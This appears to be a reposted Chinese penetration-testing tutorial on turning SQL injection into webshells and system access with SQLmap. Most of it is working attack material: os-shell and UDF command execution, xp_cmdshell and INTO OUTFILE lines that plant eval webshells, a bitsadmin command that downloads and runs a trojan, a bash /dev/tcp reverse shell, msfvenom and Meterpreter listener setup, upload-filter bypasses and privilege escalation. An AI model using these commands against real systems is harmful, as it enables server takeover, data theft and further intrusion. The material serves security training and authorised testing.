SQLmap注入获取Webshell及系统权限研究
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLmap注入获取Webshell及系统权限研究相关的知识,希望对你有一定的参考价值。
使用SQLmap除了能进行SQL注入渗透测试外,其还提供了强大的命令执行功能可以进行udf提权、MSSQL下xp_cmdshell提权,在条件允许的情况下,可以获取操作系统shell和SQL shell,有的还可以直接获取系统权限。本文对SQLmap如何获取webshell及系统权限进行讨论。
注意:有些系统,由于配置失误等原因,虽然能够进行sql注入,或者具备获取webshell条件,使用sqlmap也能进行连接,但由于某种原因,可能无法获取webshell或shell,渗透的思路千万条,只有有一条通往webshell获取成功的道路即可,所以不必纠结必须要用sqlmap。
本文为渗透入门到实战专栏第12篇文章,专栏详细情况请移步:渗透入门到实战专栏
一、SQLmap获取webshell及提权常见命令
1. sqlmap常见获取webshell相关命令
(1)mssql判断是否dba权限
--is-dba检测DBMS当前用户是否DBA,如果是则显示结果为True
(2)数据库交互模式shell
--sql-shell 提示交互式SQL的shell,可以在该shell下执行sql查询命令
(3)操作系统交互命令
--os-cmd=OSCMD 执行操作系统命令(OSCMD),oscms命令为dos常见命令
(4)文件读取和写入命令
--file-read=RFILE从后端的数据库管理系统文件系统读取文件,例如SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u”http://192.168.136.129/get.asp?name=luther“–file-read “C:/example.exe” -v 1
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件WFILE
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
(5)数据库权限提升
--priv-esc 数据库进程用户权限提升
(6)meterpreter提权(实际测试没有成功过!)
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
(7)获取数据库root账号密码及其它账号密码,sa权限用户获取当前mssql下用户密码
--passwords 枚举数据库管理系统用户密码哈希,程序有时候会自动对密码进行破解。
特别注意由于word文件编辑会自动更新,一般情况下参数前多为“--”。
2.Mysql数据库直接连接提权
sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell
可以直接获取shell,有的是系统权限。
3.MySQL数据库sql-shell下udf提权
(1)连接数据库
sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shell
(2)查看版本
select @@version;
(3)查看插件目录
select @@plugin_dir;
例如显示结果为:
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
(4)操作sqlmap上传lib_mysqludf_sys到MySQL插件目次:
sqlmap.py -d mysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
(5)创建sys_exec函数
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(6)创建sys_eval函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(7)执行命令
select sys_eval('ver');
select sys_eval('whoami');
select sys_eval('net user');
4.mssql直连数据库
(1)安装pymssql模块
sqlmap直连mssql数据需要安装pymssql,其下载地址:https://github.com/pymssql/pymssql,也可以通过pip来进行安装,先安装pip,pip下载地址:https://pypi.org/project/pip/#files,将pip解压后,例如C:\Python27\pip-10.0.1,执行setup install命令,安装成功后到Scripts目录,执行pip install pymssql即可,如图1所示,后续安装其他模块,pip install 模块名称即可。
图1使用pip安装pymssql
(2)直连获取shell
如果当前用户是sa,如图2所示,可以通过sqlmap进行直接连接获取shell,一般情况下都可以,但如果mssql进行了安全设置,有可能会导致提权失败。
sqlmap.py -d mssql://sa:s***[email protected]***.***:1433/master --os-shell
图2mssql直连获取shell
二、获取webshell或者shell条件
1.php+MySQL类型网站获取webshell条件
(1)MySQL root账号权限,也就配置MySQL连接的账号为root账号,不是root账号具备root权限也可以。
(2)GPC配置关闭,能使用单引号
(3)有网站的绝对路径,且具备可以在文件夹写入文件的权限
(4)没有配置secure-file-priv属性
2.MSSQL+ASP/Asp.net类型网站获取webshell条件
(1)数据库用户是sa
(2)能够创建xp_cmdshell,有的情况下虽然是sa账号,也能连接,但无法使用xp_cmdshell。
(3)知道真实路径
(4)可以通过echo命令来生成shell
注入点直接写
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--
命令行下:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'
三、获取webshell权限思路及命令
1.php类型网站获取webshell权限思路
(1)获取os-shell
sqlmap.py -u "http://www.****.cn/index.php?id=1" --os-shell
(2)选择编程语言的类型,选择“4”,默认1-asp,2-aspx,3-jsp,4-php,可以根据其提示情况进行选择,如图3所示。
图3web服务器支持的应用程序类型
(3)物理路径的选择。如图4所示,sqlmap会给出四个选项供选择:
1-普通路径(common location),例如C:/xampp/htdocs,c:/wamp/www、c:/inetpub/wwwroot,默认的一些web路径。
2-指定路径,如果用户知道路径则可以手工输入网站的物理路径地址。
3-指定字典文件进行暴力破解,可以使用默认的字典文件进行暴力破解,还可以添加字典文件进行暴力破解。
4-暴力搜索地址,对地址进行搜索查找。
图4指定网站的物理路径
(4)获取webshell
在sqlmap中无法直接获取webshell,如果os-shell整个命令执行成,则会上传一个文件到网站,成功后会给出一个地址提示,访问给地址进行文件上传即可获取webshell。
(5)php获取webshell难点
在整个过程中获取网站的真实物理路径至关重要,可以通过phpinfo函数,测试页面以及报错信息来获取真实网站物理路径地址,如果获取了管理员账号,还可以登录后台,有些系统会给出系统运行信息,其中包含数据库物理路径以及网站路径地址等。如果实在无法获取则可以对1、3和4选项进行测试。
2.直接写入webshell到网站
sqlmap.py -u "http://www.****.cn/index.php?id=1" --file-write /root/testxxxyyy.php --file-dest /var/www/html/shell.php
将本地的testxxxyyy.php文件写入到目标的shell.php文件,如果远程存在该文件,则无法写入。
3.os-cmd下载文件并执行
sqlmap.py -u http://www.****.cn/index.php?id=1 --os-cmd “
bitsadmin /transfer myjob1 /download /priority normal
http://IP/bucgoaqx/themes/coffe/b.exe
c:\wmpub\b.exe
”
执行上面命令后,会下载http://IP/bucgoaqx/themes/coffe/b.exe程序到c:\wmpub\目录,保存为b.exe文件,b.exe可以是木马文件,也可以是msf平台生成的类nc程序。执行b.exe后,在msf平台下即可使用Meterpreter进行后渗透处理。
4.通过sqlmap连接mysql获取shell
(1)直接连接数据库
sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell
(2)通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/192.168.1.3/8080 0>&1
(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。
(4)通过echo命令生成shell:
echo "<?php @eval($_POST['chopper']);?>" >/data/www/phpmyadmin/1.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。
5.通过msf反弹获取shell
(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.3 -f raw > test.php
(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.3 //192.168.1.3为反弹监听服务器IP
show options
run 0 或者exploit
(3)上传并执行php文件
将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell
http:// 192.168.1.2:8080/test.php
6.通过phpmyadmin管理界面查询生成webshll
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'D:/work/WWW/shell.php'
7.后台账号登录管理后台,寻找上传点
(1)后台直接上传webshell
(2)抓包构建绕过防护上传webshell
(3)iis6畸形文件漏洞绕过,也即上传1.asp;.jpg图片一句话木马
(4)iis7 cgi解析漏洞,上传webshell图片文件,访问http://some.com/1.jpg/1.php
(6)Fck文件二次上传获取webshell
(7)其它上传漏洞获取webshell
四、获取system权限思路
1.mssql和mysql数据库获取system权限
通过sql注入点或者直连--os-shell,成功后执行whoami查看当前用户权限,可以通过下载nc等程序,反弹shell到独立服务器,具体提权思路如下:
(1)生成系统信息wintg.txt
systeminfo >wintg.txt
(2)下载或者保存内容wintg.txt,通过Windows-Exploit-Suggester进行查看漏洞情况
windows-exploit-suggester.py --audit -l --database 2018-04-03-mssb.xls --systeminfo wintg.txt >vip.txt //将审计情况保存为vip.txt
windows-exploit-suggester.py -d 2018-04-03-mssb.xls --audit -l --systeminfo wintg.txt
(3)从vip.txt中去找时间最新的未修补漏洞EXP
(4)执行exp提权
2.直接system权限
有些服务器配置的数据库服务权限较高,通过sqlmap可能直接获取系统权限。
3.社工提权
有些root/sa账号对应的数据库密码即为windows/linux的系统管理员帐号。
4.密码账号暴力破解
通过前面获取了系统准确账号信息,可以尝试ssh/windows终端账号暴力破解。
更多有关sqlmap精彩技术文章,请订阅专栏:渗透攻击入门到实践,让SQLmap子*弹飞一会儿
以上是关于SQLmap注入获取Webshell及系统权限研究的主要内容,如果未能解决你的问题,请参考以下文章